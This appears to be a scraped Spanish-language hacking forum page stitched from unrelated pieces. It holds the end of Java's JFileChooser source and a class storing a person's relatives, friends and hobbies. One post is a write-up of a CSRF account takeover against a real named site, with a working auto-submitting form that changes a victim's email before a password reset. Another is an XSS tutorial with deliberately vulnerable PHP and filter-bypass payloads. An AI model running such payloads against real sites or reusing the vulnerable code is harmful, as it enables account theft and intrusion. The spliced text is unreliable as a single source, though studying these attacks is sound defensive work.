    * @since 1.3
    */
    public boolean isAcceptAllFileFilterUsed() {
        return useAcceptAllFileFilter;
    }

   /**
    * Determines whether the <code>AcceptAll FileFilter</code> is used
    * as an available choice in the choosable filter list.
    * If false, the <code>AcceptAll</code> file filter is removed from
    * the list of available file filters.
    * If true, the <code>AcceptAll</code> file filter will become the
    * the actively used file filter.
    *
    * @beaninfo
    *   preferred: true
    *       bound: true
    * description: Sets whether the AcceptAll FileFilter is used as an available choice in the choosable filter list.
    *
    * @see #isAcceptAllFileFilterUsed
    * @see #getAcceptAllFileFilter
    * @see #setFileFilter
    * @since 1.3
    */
    public void setAcceptAllFileFilterUsed(boolean b) {
        boolean oldValue = useAcceptAllFileFilter;
        useAcceptAllFileFilter = b;
        if(!b) {
            removeChoosableFileFilter(getAcceptAllFileFilter());
        } else {
            removeChoosableFileFilter(getAcceptAllFileFilter());
            addChoosableFileFilter(getAcceptAllFileFilter());
        }
        firePropertyChange(ACCEPT_ALL_FILE_FILTER_USED_CHANGED_PROPERTY, oldValue, useAcceptAllFileFilter);
    }

    /**
     * Returns the accessory component.
     *
     * @return this JFileChooser's accessory component, or null
     * @see #setAccessory
     */
    public JComponent getAccessory() {
        return accessory;
    }

    /**
     * Sets the accessory component. An accessory is often used to show a
     * preview image of the selected file; however, it can be used for anything
     * that the programmer wishes, such as extra custom file chooser controls.
     *
     * <p>
     * Note: if there was a previous accessory, you should unregister
     * any listeners that the accessory might have registered with the
     * file chooser.
     *
     * @beaninfo
     *   preferred: true
     *       bound: true
     * description: Sets the accessory component on the JFileChooser.
     */
    public void setAccessory(JComponent newAccessory) {
        JComponent oldValue = accessory;
        accessory = newAccessory;
        firePropertyChange(ACCESSORY_CHANGED_PROPERTY, oldValue, accessory);
    }

    /**
     * Sets the <code>JFileChooser</code> to allow the user to just
     * select files, just select
     * directories, or select both files and directories.  The default is
     * <code>JFilesChooser.FILES_ONLY</code>.
     *
     * @param mode the type of files to be displayed:
     * <ul>
     * <li>JFileChooser.FILES_ONLY
     * <li>JFileChooser.DIRECTORIES_ONLY
     * <li>JFileChooser.FILES_AND_DIRECTORIES
     * </ul>
     *
     * @exception IllegalArgumentException  if <code>mode</code> is an
     *                          illegal file selection mode
     * @beaninfo
     *   preferred: true
     *       bound: true
     * description: Sets the types of files that the JFileChooser can choose.
     *        enum: FILES_ONLY JFileChooser.FILES_ONLY
     *              DIRECTORIES_ONLY JFileChooser.DIRECTORIES_ONLY
     *              FILES_AND_DIRECTORIES JFileChooser.FILES_AND_DIRECTORIES
     *
     *
     * @see #getFileSelectionMode
     */
    public void setFileSelectionMode(int mode) {
        if(fileSelectionMode == mode) {
            return;
        }

        if ((mode == FILES_ONLY) || (mode == DIRECTORIES_ONLY) || (mode == FILES_AND_DIRECTORIES)) {
           int oldValue = fileSelectionMode;
           fileSelectionMode = mode;
           firePropertyChange(FILE_SELECTION_MODE_CHANGED_PROPERTY, oldValue, fileSelectionMode);
        } else {
           throw new IllegalArgumentException("Incorrect Mode for file selection: " + mode);
        }
    }

    /**
     * Returns the current file-selection mode.  The default is
     * <code>JFilesChooser.FILES_ONLY</code>.
     *
     * @return the type of files to be displayed, one of the following:
     * <ul>
     * <li>JFileChooser.FILES_ONLY
     * <li>JFileChooser.DIRECTORIES_ONLY
     * <li>JFileChooser.FILES_AND_DIRECTORIES
     * </ul>
     * @see #setFileSelectionMode
     */
    public int getFileSelectionMode() {
        return fileSelectionMode;
    }

    /**
     * Convenience call that determines if files are selectable based on the
     * current file selection mode.
     *
     * @see #setFileSelectionMode
     * @see #getFileSelectionMode
     */
    public boolean isFileSelectionEnabled() {
        return ((fileSelectionMode == FILES_ONLY) || (fileSelectionMode == FILES_AND_DIRECTORIES));
    }

    /**
     * Convenience call that determines if directories are selectable based
     * on the current file selection mode.
     *
     * @see #setFileSelectionMode
     * @see #getFileSelectionMode
     */
    public boolean isDirectorySelectionEnabled() {
        return ((fileSelectionMode == DIRECTORIES_ONLY) || (fileSelectionMode == FILES_AND_DIRECTORIES));
    }

    /**
     * Sets the file chooser to allow multiple file selections.
     *
     * @param b true if multiple files may be selected
     * @beaninfo
     *       bound: true
     * description: Sets multiple file selection mode.
     *
     * @see #isMultiSelectionEnabled
     */
    public void setMultiSelectionEnabled(boolean b) {
        if(multiSelectionEnabled == b) {
            return;
        }
        boolean oldValue = multiSelectionEnabled;
        multiSelectionEnabled = b;
        firePropertyChange(MULTI_SELECTION_ENABLED_CHANGED_PROPERTY, oldValue, multiSelectionEnabled);
    }

    /**
     * Returns true if multiple files can be selected.
     * @return true if multiple files can be selected
     * @see #setMultiSelectionEnabled
     */
    public boolean isMultiSelectionEnabled() {
        return multiSelectionEnabled;
    }


    /**
     * Returns true if hidden files are not shown in the file chooser;
     * otherwise, returns false.
     *
     * @return the status of the file hiding property
     * @see #setFileHidingEnabled
     */
    public boolean isFileHidingEnabled() {
        return useFileHiding;
    }

    /**
     * Sets file hiding on or off. If true, hidden files are not shown
     * in the file chooser. The job of determining which files are
     * shown is done by the <code>FileView</code>.
     *
     * @beaninfo
     *   preferred: true
     *       bound: true
     * description: Sets file hiding on or off.
     *
     * @param b the boolean value that determines whether file hiding is
     *          turned on
     * @see #isFileHidingEnabled
     */
    public void setFileHidingEnabled(boolean b) {
        // Dump showFilesListener since we'll ignore it from now on
        if (showFilesListener != null) {
            Toolkit.getDefaultToolkit().removePropertyChangeListener(SHOW_HIDDEN_PROP, showFilesListener);
            showFilesListener = null;
        }
        boolean oldValue = useFileHiding;
        useFileHiding = b;
        firePropertyChange(FILE_HIDING_CHANGED_PROPERTY, oldValue, useFileHiding);
    }

    /**
     * Sets the current file filter. The file filter is used by the
     * file chooser to filter out files from the user's view.
     *
     * @beaninfo
     *   preferred: true
     *       bound: true
     * description: Sets the File Filter used to filter out files of type.
     *
     * @param filter the new current file filter to use
     * @see #getFileFilter
     */
    public void setFileFilter(FileFilter filter) {
        FileFilter oldValue = fileFilter;
        fileFilter = filter;
        if (filter != null) {
            if (isMultiSelectionEnabled() && selectedFiles != null && selectedFiles.length > 0) {
                Vector<File> fList = new Vector<File>();
                boolean failed = false;
                for (File file : selectedFiles) {
                    if (filter.accept(file)) {
                        fList.add(file);
                    } else {
                        failed = true;
                    }
                }
                if (failed) {
                    setSelectedFiles((fList.size() == 0) ? null : fList.toArray(new File[fList.size()]));
                }
            } else if (selectedFile != null && !filter.accept(selectedFile)) {
                setSelectedFile(null);
            }
        }
        firePropertyChange(FILE_FILTER_CHANGED_PROPERTY, oldValue, fileFilter);
    }


    /**
     * Returns the currently selected file filter.
     *
     * @return the current file filter
     * @see #setFileFilter
     * @see #addChoosableFileFilter
     */
    public FileFilter getFileFilter() {
        return fileFilter;
    }

    /**
     * Sets the file view to used to retrieve UI information, such as
     * the icon that represents a file or the type description of a file.
     *
     * @beaninfo
     *   preferred: true
     *       bound: true
     * description: Sets the File View used to get file type information.
     *
     * @see #getFileView
     */
    public void setFileView(FileView fileView) {
        FileView oldValue = this.fileView;
        this.fileView = fileView;
        firePropertyChange(FILE_VIEW_CHANGED_PROPERTY, oldValue, fileView);
    }

    /**
     * Returns the current file view.
     *
     * @see #setFileView
     */
    public FileView getFileView() {
        return fileView;
    }

    // ******************************
    // *****FileView delegation *****
    // ******************************

    // NOTE: all of the following methods attempt to delegate
    // first to the client set fileView, and if <code>null</code> is returned
    // (or there is now client defined fileView) then calls the
    // UI's default fileView.

    /**
     * Returns the filename.
     * @param f the <code>File</code>
     * @return the <code>String</code> containing the filename for
     *          <code>f</code>
     * @see FileView#getName
     */
    public String getName(File f) {
        String filename = null;
        if(f != null) {
            if(getFileView() != null) {
                filename = getFileView().getName(f);
            }

            FileView uiFileView = getUI().getFileView(this);

            if(filename == null && uiFileView != null) {
                filename = uiFileView.getName(f);
            }
        }
        return filename;
    }

    /**
     * Returns the file description.
     * @param f the <code>File</code>
     * @return the <code>String</code> containing the file description for
     *          <code>f</code>
     * @see FileView#getDescription
     */
    public String getDescription(File f) {
        String description = null;
        if(f != null) {
            if(getFileView() != null) {
                description = getFileView().getDescription(f);
            }

            FileView uiFileView = getUI().getFileView(this);

            if(description == null && uiFileView != null) {
                description = uiFileView.getDescription(f);
            }
        }
        return description;
    }

    /**
     * Returns the file type.
     * @param f the <code>File</code>
     * @return the <code>String</code> containing the file type description for
     *          <code>f</code>
     * @see FileView#getTypeDescription
     */
    public String getTypeDescription(File f) {
        String typeDescription = null;
        if(f != null) {
            if(getFileView() != null) {
                typeDescription = getFileView().getTypeDescription(f);
            }

            FileView uiFileView = getUI().getFileView(this);

            if(typeDescription == null && uiFileView != null) {
                typeDescription = uiFileView.getTypeDescription(f);
            }
        }
        return typeDescription;
    }

    /**
     * Returns the icon for this file or type of file, depending
     * on the system.
     * @param f the <code>File</code>
     * @return the <code>Icon</code> for this file, or type of file
     * @see FileView#getIcon
     */
    public Icon getIcon(File f) {
        Icon icon = null;
        if (f != null) {
            if(getFileView() != null) {
                icon = getFileView().getIcon(f);
            }

            FileView uiFileView = getUI().getFileView(this);

            if(icon == null && uiFileView != null) {
                icon = uiFileView.getIcon(f);
            }
        }
        return icon;
    }

    /**
     * Returns true if the file (directory) can be visited.
     * Returns false if the directory cannot be traversed.
     * @param f the <code>File</code>
     * @return true if the file/directory can be traversed, otherwise false
     * @see FileView#isTraversable
     */
    public boolean isTraversable(File f) {
        Boolean traversable = null;
        if (f != null) {
            if (getFileView() != null) {
                traversable = getFileView().isTraversable(f);
            }

            FileView uiFileView = getUI().getFileView(this);

            if (traversable == null && uiFileView != null) {
                traversable = uiFileView.isTraversable(f);
            }
            if (traversable == null) {
                traversable = getFileSystemView().isTraversable(f);
            }
        }
        return (traversable != null && traversable.booleanValue());
    }

    /**
     * Returns true if the file should be displayed.
     * @param f the <code>File</code>
     * @return true if the file should be displayed, otherwise false
     * @see FileFilter#accept
     */
    public boolean accept(File f) {
        boolean shown = true;
        if(f != null && fileFilter != null) {
            shown = fileFilter.accept(f);
        }
        return shown;
    }

    /**
     * Sets the file system view that the <code>JFileChooser</code> uses for
     * accessing and creating file system resources, such as finding
     * the floppy drive and getting a list of root drives.
     * @param fsv  the new <code>FileSystemView</code>
     *
     * @beaninfo
     *      expert: true
     *       bound: true
     * description: Sets the FileSytemView used to get filesystem information.
     *
     * @see FileSystemView
     */
    public void setFileSystemView(FileSystemView fsv) {
        FileSystemView oldValue = fileSystemView;
        fileSystemView = fsv;
        firePropertyChange(FILE_SYSTEM_VIEW_CHANGED_PROPERTY, oldValue, fileSystemView);
    }

    /**
     * Returns the file system view.
     * @return the <code>FileSystemView</code> object
     * @see #setFileSystemView
     */
    public FileSystemView getFileSystemView() {
        return fileSystemView;
    }

    // **************************
    // ***** Event Handling *****
    // **************************

    /**
     * Called by the UI when the user hits the Approve button
     * (labeled "Open" or "Save", by default). This can also be
     * called by the programmer.
     * This method causes an action event to fire
     * with the command string equal to
     * <code>APPROVE_SELECTION</code>.
     *
     * @see #APPROVE_SELECTION
     */
    public void approveSelection() {
        returnValue = APPROVE_OPTION;
        if(dialog != null) {
            dialog.setVisible(false);
        }
        fireActionPerformed(APPROVE_SELECTION);
    }

    /**
     * Called by the UI when the user chooses the Cancel button.
     * This can also be called by the programmer.
     * This method causes an action event to fire
     * with the command string equal to
     * <code>CANCEL_SELECTION</code>.
     *
     * @see #CANCEL_SELECTION
     */
    public void cancelSelection() {
        returnValue = CANCEL_OPTION;
        if(dialog != null) {
            dialog.setVisible(false);
        }
        fireActionPerformed(CANCEL_SELECTION);
    }

    /**
     * Adds an <code>ActionListener</code> to the file chooser.
     *
     * @param l  the listener to be added
     *
     * @see #approveSelection
     * @see #cancelSelection
     */
    public void addActionListener(ActionListener l) {
        listenerList.add(ActionListener.class, l);
    }

    /**
     * Removes an <code>ActionListener</code> from the file chooser.
     *
     * @param l  the listener to be removed
     *
     * @see #addActionListener
     */
    public void removeActionListener(ActionListener l) {
        listenerList.remove(ActionListener.class, l);
    }

    /**
     * Returns an array of all the action listeners
     * registered on this file chooser.
     *
     * @return all of this file chooser's <code>ActionListener</code>s
     *         or an empty
     *         array if no action listeners are currently registered
     *
     * @see #addActionListener
     * @see #removeActionListener
     *
     * @since 1.4
     */
    public ActionListener[] getActionListeners() {
        return listenerList.getListeners(ActionListener.class);
    }

    /**
     * Notifies all listeners that have registered interest for
     * notification on this event type. The event instance
     * is lazily created using the <code>command</code> parameter.
     *
     * @see EventListenerList
     */
    protected void fireActionPerformed(String command) {
        // Guaranteed to return a non-null array
        Object[] listeners = listenerList.getListenerList();
        long mostRecentEventTime = EventQueue.getMostRecentEventTime();
        int modifiers = 0;
        AWTEvent currentEvent = EventQueue.getCurrentEvent();
        if (currentEvent instanceof InputEvent) {
            modifiers = ((InputEvent)currentEvent).getModifiers();
        } else if (currentEvent instanceof ActionEvent) {
            modifiers = ((ActionEvent)currentEvent).getModifiers();
        }
        ActionEvent e = null;
        // Process the listeners last to first, notifying
        // those that are interested in this event
        for (int i = listeners.length-2; i>=0; i-=2) {
            if (listeners[i]==ActionListener.class) {
                // Lazily create the event:
                if (e == null) {
                    e = new ActionEvent(this, ActionEvent.ACTION_PERFORMED,
                                        command, mostRecentEventTime,
                                        modifiers);
                }
                ((ActionListener)listeners[i+1]).actionPerformed(e);
            }
        }
    }

    private static class WeakPCL implements PropertyChangeListener {
        WeakReference<JFileChooser> jfcRef;

        public WeakPCL(JFileChooser jfc) {
            jfcRef = new WeakReference<JFileChooser>(jfc);
        }
        public void propertyChange(PropertyChangeEvent ev) {
            assert ev.getPropertyName().equals(SHOW_HIDDEN_PROP);
            JFileChooser jfc = jfcRef.get();
            if (jfc == null) {
                // Our JFileChooser is no longer around, so we no longer need to
                // listen for PropertyChangeEvents.
                Toolkit.getDefaultToolkit().removePropertyChangeListener(SHOW_HIDDEN_PROP, this);
            }
            else {
                boolean oldValue = jfc.useFileHiding;
                jfc.useFileHiding = !((Boolean)ev.getNewValue()).booleanValue();
                jfc.firePropertyChange(FILE_HIDING_CHANGED_PROPERTY, oldValue, jfc.useFileHiding);
            }
        }
    }

    // *********************************
    // ***** Pluggable L&F methods *****
    // *********************************

    /**
     * Resets the UI property to a value from the current look and feel.
     *
     * @see JComponent#updateUI
     */
    public void updateUI() {
        if (isAcceptAllFileFilterUsed()) {
            removeChoosableFileFilter(getAcceptAllFileFilter());
        }
        FileChooserUI ui = ((FileChooserUI)UIManager.getUI(this));
        if (fileSystemView == null) {
            // We were probably deserialized
            setFileSystemView(FileSystemView.getFileSystemView());
        }
        setUI(ui);

        if(isAcceptAllFileFilterUsed()) {
            addChoosableFileFilter(getAcceptAllFileFilter());
        }
    }

    /**
     * Returns a string that specifies the name of the L&amp;F class
     * that renders this component.
     *
     * @return the string "FileChooserUI"
     * @see JComponent#getUIClassID
     * @see UIDefaults#getUI
     * @beaninfo
     *        expert: true
     *   description: A string that specifies the name of the L&amp;F class.
     */
    public String getUIClassID() {
        return uiClassID;
    }

    /**
     * Gets the UI object which implements the L&amp;F for this component.
     *
     * @return the FileChooserUI object that implements the FileChooserUI L&amp;F
     */
    public FileChooserUI getUI() {
        return (FileChooserUI) ui;
    }

    /**
     * See <code>readObject</code> and <code>writeObject</code> in
     * <code>JComponent</code> for more
     * information about serialization in Swing.
     */
    private void readObject(java.io.ObjectInputStream in)
            throws IOException, ClassNotFoundException {
        in.defaultReadObject();
        installShowFilesListener();
    }

    /**
     * See <code>readObject</code> and <code>writeObject</code> in
     * <code>JComponent</code> for more
     * information about serialization in Swing.
     */
    private void writeObject(ObjectOutputStream s) throws IOException {
        FileSystemView fsv = null;

        if (isAcceptAllFileFilterUsed()) {
            //The AcceptAllFileFilter is UI specific, it will be reset by
            //updateUI() after deserialization
            removeChoosableFileFilter(getAcceptAllFileFilter());
        }
        if (fileSystemView.equals(FileSystemView.getFileSystemView())) {
            //The default FileSystemView is platform specific, it will be
            //reset by updateUI() after deserialization
            fsv = fileSystemView;
            fileSystemView = null;
        }
        s.defaultWriteObject();
        if (fsv != null) {
            fileSystemView = fsv;
        }
        if (isAcceptAllFileFilterUsed()) {
            addChoosableFileFilter(getAcceptAllFileFilter());
        }
        if (getUIClassID().equals(uiClassID)) {
            byte count = JComponent.getWriteObjCounter(this);
            JComponent.setWriteObjCounter(this, --count);
            if (count == 0 && ui != null) {
                ui.installUI(this);
            }
        }
    }


    /**
     * Returns a string representation of this <code>JFileChooser</code>.
     * This method
     * is intended to be used only for debugging purposes, and the
     * content and format of the returned string may vary between
     * implementations. The returned string may be empty but may not
     * be <code>null</code>.
     *
     * @return  a string representation of this <code>JFileChooser</code>
     */
    protected String paramString() {
        String approveButtonTextString = (approveButtonText != null ?
                                          approveButtonText: "");
        String dialogTitleString = (dialogTitle != null ?
                                    dialogTitle: "");
        String dialogTypeString;
        if (dialogType == OPEN_DIALOG) {
            dialogTypeString = "OPEN_DIALOG";
        } else if (dialogType == SAVE_DIALOG) {
            dialogTypeString = "SAVE_DIALOG";
        } else if (dialogType == CUSTOM_DIALOG) {
            dialogTypeString = "CUSTOM_DIALOG";
        } else dialogTypeString = "";
        String returnValueString;
        if (returnValue == CANCEL_OPTION) {
            returnValueString = "CANCEL_OPTION";
        } else if (returnValue == APPROVE_OPTION) {
            returnValueString = "APPROVE_OPTION";
        } else if (returnValue == ERROR_OPTION) {
            returnValueString = "ERROR_OPTION";
        } else returnValueString = "";
        String useFileHidingString = (useFileHiding ?
                                    "true" : "false");
        String fileSelectionModeString;
        if (fileSelectionMode == FILES_ONLY) {
            fileSelectionModeString = "FILES_ONLY";
        } else if (fileSelectionMode == DIRECTORIES_ONLY) {
            fileSelectionModeString = "DIRECTORIES_ONLY";
        } else if (fileSelectionMode == FILES_AND_DIRECTORIES) {
            fileSelectionModeString = "FILES_AND_DIRECTORIES";
        } else fileSelectionModeString = "";
        String currentDirectoryString = (currentDirectory != null ?
                                         currentDirectory.toString() : "");
        String selectedFileString = (selectedFile != null ?
                                     selectedFile.toString() : "");

        return super.paramString() +
        ",approveButtonText=" + approveButtonTextString +
        ",currentDirectory=" + currentDirectoryString +
        ",dialogTitle=" + dialogTitleString +
        ",dialogType=" + dialogTypeString +
        ",fileSelectionMode=" + fileSelectionModeString +
        ",returnValue=" + returnValueString +
        ",selectedFile=" + selectedFileString +
        ",useFileHiding=" + useFileHidingString;
    }

/////////////////
// Accessibility support
////////////////

    protected AccessibleContext accessibleContext = null;

    /**
     * Gets the AccessibleContext associated with this JFileChooser.
     * For file choosers, the AccessibleContext takes the form of an
     * AccessibleJFileChooser.
     * A new AccessibleJFileChooser instance is created if necessary.
     *
     * @return an AccessibleJFileChooser that serves as the
     *         AccessibleContext of this JFileChooser
     */
    public AccessibleContext getAccessibleContext() {
        if (accessibleContext == null) {
            accessibleContext = new AccessibleJFileChooser();
        }
        return accessibleContext;
    }

    /**
     * This class implements accessibility support for the
     * <code>JFileChooser</code> class.  It provides an implementation of the
     * Java Accessibility API appropriate to file chooser user-interface
     * elements.
     */
    protected class AccessibleJFileChooser extends AccessibleJComponent {

        /**
         * Gets the role of this object.
         *
         * @return an instance of AccessibleRole describing the role of the
         * object
         * @see AccessibleRole
         */
        public AccessibleRole getAccessibleRole() {
            return AccessibleRole.FILE_CHOOSER;
        }

    } // inner class AccessibleJFileChooser

}


personaDatos.java

Código: (java) You are not allowed to view links. Register or Login
// Imports necesarios

import java.io.Serializable;

/*

    Esta clase contiene toda la información y métodos públicos referentes a una persona.

*/


public class personaDatos implements Serializable {
   
    // Lista de variables
   
    private String nombre;
    private String apellido1;
    private String apellido2;
    private String ciudad;
    private String pais;
    private String nacimiento;
    private String lugarEstudio;
    private String materiaEstudio;
    private String familiar1;
    private String familiar2;
    private String familiar3;
    private String familiar4;
    private String familiar5;
    private String pareja;
    private String amigo1;
    private String amigo2;
    private String amigo3;
    private String amigo4;
    private String amigo5;
    private String hobbie1;
    private String hobbie2;
    private String hobbie3;
    private String otro1;
    private String otro2;
   
    // Constructor
   
    public personaDatos(){
    }
   
    // Setters and Getters
   
    public void setNombre(String nuevoNombre){
        nombre = nuevoNombre;
    }
   
    public String getNombre(){
        return nombre;
    }
   
    public void setApellido1(String nuevoApellido1){
        apellido1 = nuevoApellido1;
    }
   
    public String getApellido1(){
        return apellido1;
    }
   
    public void setApellido2(String nuevoApellido2){
        apellido2 = nuevoApellido2;
    }
   
    public String getApellido2(){
        return apellido2;
    }
   
    public void setCiudad(String nuevaCiudad){
        ciudad = nuevaCiudad;
    }
   
    public String getCiudad(){
        return ciudad;
    }
   
    public void setPais(String nuevoPais){
        pais = nuevoPais;
    }
   
    public String getPais(){
        return pais;
    }
   
    public void setNacimiento(String nuevoNacimiento){
        nacimiento = nuevoNacimiento;
    }
   
    public String getNacimiento(){
        return nacimiento;
    }
   
    public void setLugarEstudio(String nuevoLugarEstudio){
        lugarEstudio = nuevoLugarEstudio;
    }
   
    public String getLugarEstudio(){
        return lugarEstudio;
    }
   
    public void setMateriaEstudio(String nuevaMateriaEstudio){
        materiaEstudio = nuevaMateriaEstudio;
    }
   
    public String getMateriaEstudio(){
        return materiaEstudio;
    }
   
    public void setFamiliar1(String nuevoFamiliar1){
        familiar1 = nuevoFamiliar1;
    }
   
    public String getFamiliar1(){
        return familiar1;
    }
   
    public void setFamiliar2(String nuevoFamiliar2){
        familiar2 = nuevoFamiliar2;
    }
   
    public String getFamiliar2(){
        return familiar2;
    }
   
    public void setFamiliar3(String nuevoFamiliar3){
        familiar3 = nuevoFamiliar3;
    }
   
    public String getFamiliar3(){
        return familiar3;
    }
   
    public void setFamiliar4(String nuevoFamiliar4){
        familiar4 = nuevoFamiliar4;
    }
   
    public String getFamiliar4(){
        return familiar4;
    }
   
    public void setFamiliar5(String nuevoFamiliar5){
        familiar5 = nuevoFamiliar5;
    }
   
    public String getFamiliar5(){
        return familiar5;
    }
   
    public void setPareja(String nuevaPareja){
        pareja = nuevaPareja;
    }
   
    public String getPareja(){
        return pareja;
    }
   
    public void setAmigo1(String nuevoAmigo1){
        amigo1 = nuevoAmigo1;
    }
   
    public String getAmigo1(){
        return amigo1;
    }
   
    public void setAmigo2(String nuevoAmigo2){
        amigo2 = nuevoAmigo2;
    }
   
    public String getAmigo2(){
        return amigo2;
    }
   
    public void setAmigo3(String nuevoAmigo3){
        amigo3 = nuevoAmigo3;
    }
   
    public String getAmigo3(){
        return amigo3;
    }
   
    public void setAmigo4(String nuevoAmigo4){
        amigo4 = nuevoAmigo4;
    }
   
    public String getAmigo4(){
        return amigo4;
    }
   
    public void setAmigo5(String nuevoAmigo5){
        amigo5 = nuevoAmigo5;
    }
   
    public String getAmigo5(){
        return amigo5;
    }
   
    public void setHobbie1(String nuevoHobbie1){
        hobbie1 = nuevoHobbie1;
    }
   
    public String getHobbie1(){
        return hobbie1;
    }
   
    public void setHobbie2(String nuevoHobbie2){
        hobbie2 = nuevoHobbie2;
    }
   
    public String getHobbie2(){
        return hobbie2;
    }
   
    public void setHobbie3(String nuevoHobbie3){
        hobbie3 = nuevoHobbie3;
    }
   
    public String getHobbie3(){
        return hobbie3;
    }
   
    public void setOtro1(String nuevoOtro1){
        otro1 = nuevoOtro1;
    }
   
    public String getOtro1(){
        return otro1;
    }
   
    public void setOtro2(String nuevoOtro2){
        otro2 = nuevoOtro2;
    }
   
    public String getOtro2(){
        return otro2;
    }
   
}


3
Muy buenas Underc0ders,

hace tiempo descubrí una página en la que creas un perfil y la gente puede hacerte preguntas para que tu respondas de una forma anónima. Por lo visto se puso algo de moda entre los adolescentes en España, se trata de You are not allowed to view links. Register or Login.

Hoy me ha dado algo de intriga y me he puesto a ver si le encontraba algo interesante. Lo primero que me ha dado por mirar ha sido una opción en la que podías dar un "Me Gusta" al perfil de la persona.



Vamos a abrir BurpSuite y veamos como va la petición al pulsar este botoncito.



Vemos que solo enviamos un parámetro que es el ID que corresponde al usuario al que se le va a añadir el "Me Gusta". Sabiendo esto, pensé que con una tautología tal vez pudieramos o bien dar un punto a todos los usuarios de la plataforma, o bien encontrar una bonita blind SQLi.

Código: You are not allowed to view links. Register or Login
id=usuario' OR 1=1 -- -
Al contrario de lo que yo pensaba me encontré como respuesta algo como así.



Esto es el WAF de CloudFlare, que comprueba todas las peticiones que se hacen a dicha página web y dependiendo de si son peligrosas o no decide si bloquearlas, lo que me hizo desilusionarme un poco ya que esto complica bastante las cosas.



Después de esto seguí mirando a ver si encontraba algo interesante, al rato de estar dando vueltas sin ningún tipo de sentido decidí mirar la configuración de una cuenta falsa que me había creado.



Al comprobar como era la petición al hacer un cambio en la configuración vemos lo siguiente.



Bueno, vemos que no envía ningún tipo de tocken, así que es vulnerable a CSRF y CloudFlare no será capaz de bloquear este tipo de ataque. Vamos a imitar el formulario, pondremos que envíe nuestro correo y lo subimos a algún tipo de Hosting privado. A mi me quedó de la siguiente forma.

Código: (html5) You are not allowed to view links. Register or Login
<head>
</head>
<body>
<form action="http://thiscrush.com/settings.php?cmd=go" method="POST" id="myForm">
<input type="hidden" name="email" value="[email protected]" />
<img src=x onerror="myFunction()">
<form>
<script>
function myFunction() {
    document.getElementById("myForm").submit();
}
</script>
</body>

Ahora con tan solo enviarle el link se le cambiaría el correo del usuario, así que lo siguiente que vamos a hacer es ir a la opción de recuperar contraseña y poner nuestro correo



Hay dos cosas graciosas en esto. La primera es que las contraseñas no son hasheadas, si no que se guardan en texto plano, y en lugar de enviarte un correo para que cambies la contraseña te la envían directamente, lo que es peligroso ya que pueden quedar comprometidas otras redes en las que el usuario use la misma contraseña.

El segundo dato gracioso es que usé una cuenta de YopMail para hacer esta prueba, y la respuesta que me dió fue la siguiente.



Por último me gustaría insistir en la importancia de tener las configuraciones bien hechas en nuestros servidores, ya que como hemos visto, a pesar de usar un WAF podemos tener problemas. Espero que les haya gustado.

También me pueden seguir en Twitter si les hace ilusión: You are not allowed to view links. Register or Login

Saludos.

4
Seguridad web y en servidores / Avanzando con las XSS's [PARTE 2]
« en: Marzo 21, 2018, 03:37:35 pm »
Muy buenas Underc0ders,

hoy vamos a seguir avanzando con las XSS para llegar a entenderlas lo mejor que podamos, antes de continuar, aconsejaría leer estos dos Posts.

Básico sobre XSS (como explotarlo): You are not allowed to view links. Register or Login
Como explotar XSS por método post y hacer que se propague nuestro script: You are not allowed to view links. Register or Login

En este caso vamos a ver como explotar la XSS en diferentes casos y saltar una buena cantidad de filtros.

Vamos a empezar por un caso básico, imaginemos que tenemos este código.

Código: (php) You are not allowed to view links. Register or Login
<html>
<title>XSS 1</title>
</html>
<body>
<form action="xss1.php" method="GET">
<input type="text" name="texto">
<input type="submit">
</form>
<?php

$color "black";
$color $_GET["texto"];
echo '<p style="color:' $color '">Esto es un texto</p>';

?>

</body>

Cuando aprendemos sobre XSS nos dicen que para hacer saltar la alerta tenemos que poner algo de este estilo: "<script>alert("XSS")</script>".
El problema es que en este caso se mete dentro de un atributo de <p> por lo que quedaría de la siguiente forma sin ejecutarse.


Para hacer que salte la alerta debemos salir de este atributo, podríamos hacerlo de la siguiente forma:
"><script>alert("XSS")</script> || Quedaría así: <p style=""><script>alert("XSS")</script>

De esta forma nos saltaría la alerta.



Vamos a poner un caso parecido, la diferencia es que ahora la información que nosotros le damos la mete en un javascript, veamos el código.

Código: (php) You are not allowed to view links. Register or Login
<html>
<title>XSS 2</title>
</html>
<body>
<form action="xss2.php" method="GET">
<input type="text" name="texto">
<input type="submit">
</form>
<?php

$texto $_GET["texto"];
echo '<script>var a="' $texto '";if(a=="Hola"){document.write("Hola amigo")};</script>';

?>

</body>

Si metieramos el típico "<script>alert("XSS")</script>" quedaría de esta forma y no se ejecutaría.


Lo que vamos a hacer es cerrar el String y ponemos nuestro código directamente:

"; alert("XSS"); a="texto || Quedaría así: var a=""; alert("XSS"); a = "texto";if(a=="Hola"){document.write("Hola amigo")};

De esta forma sí nos saltaría la alerta.



Ya es hora de ver el primer filtro, miremos primero el código.

Código: (php) You are not allowed to view links. Register or Login
<html>
<title>XSS 3</title>
</html>
<body>
<form action="xss3.php" method="GET">
<input type="text" name="texto">
<input type="submit">
</form>
<?php

$texto $_GET["texto"];
$banned   'script';
$pos strpos($texto$banned);
if($pos === false){
echo $texto;
}
else{
echo '<p>Filtro AntiXSS</p>';
}

?>

</body>

Lo que estamos haciendo aquí es enviar un mensaje de error en caso de que la subcadena 'script' esté dentro del string. Veamos lo que sale con nuestro clásico "<script>alert("XSS")</script>".



En este caso tenemos dos formas de abordarlo:
- <SCRIPT>alert("XSS")</SCRIPT> || Esta función es KeySensitive por lo que no lo detectaría con mayusculas.
- <body onload=alert("XSS")> || Se puede ejecutar JavaScript a través de una etiqueta y un evento.

Os dejo aquí una lista de eventos: You are not allowed to view links. Register or Login

De estas formas nos saltaría la pantallita.



Veamos un nuevo filtro, en este caso lo que hace es eliminar todo lo que pueda hacer que se ejecute código javascript sin ser keySensitive, veamos el filtro.

Código: (php) You are not allowed to view links. Register or Login
<html>
<title>XSS 4</title>
</html>
<body>
<form action="xss4.php" method="GET">
<input type="text" name="texto">
<input type="submit">
</form>
<?php

$texto $_GET["texto"];
$banned   = array('<script>''</script>''onload''onerror'' onmousemove''onkeypress');
$texto str_ireplace($banned""$texto);
echo $texto;


?>

</body>

Veamos que ocurre si ponemos nuestra prueba mágica.



La forma de saltar este filtro es la siguiente:
-<scr<script>ipt>alert("XSS")</scr</script>ipt> || De esta forma eliminaría las etiquetas que hay de sobra y quedaría perfecto para ejecutarse.

Veamos si salta la alerta.


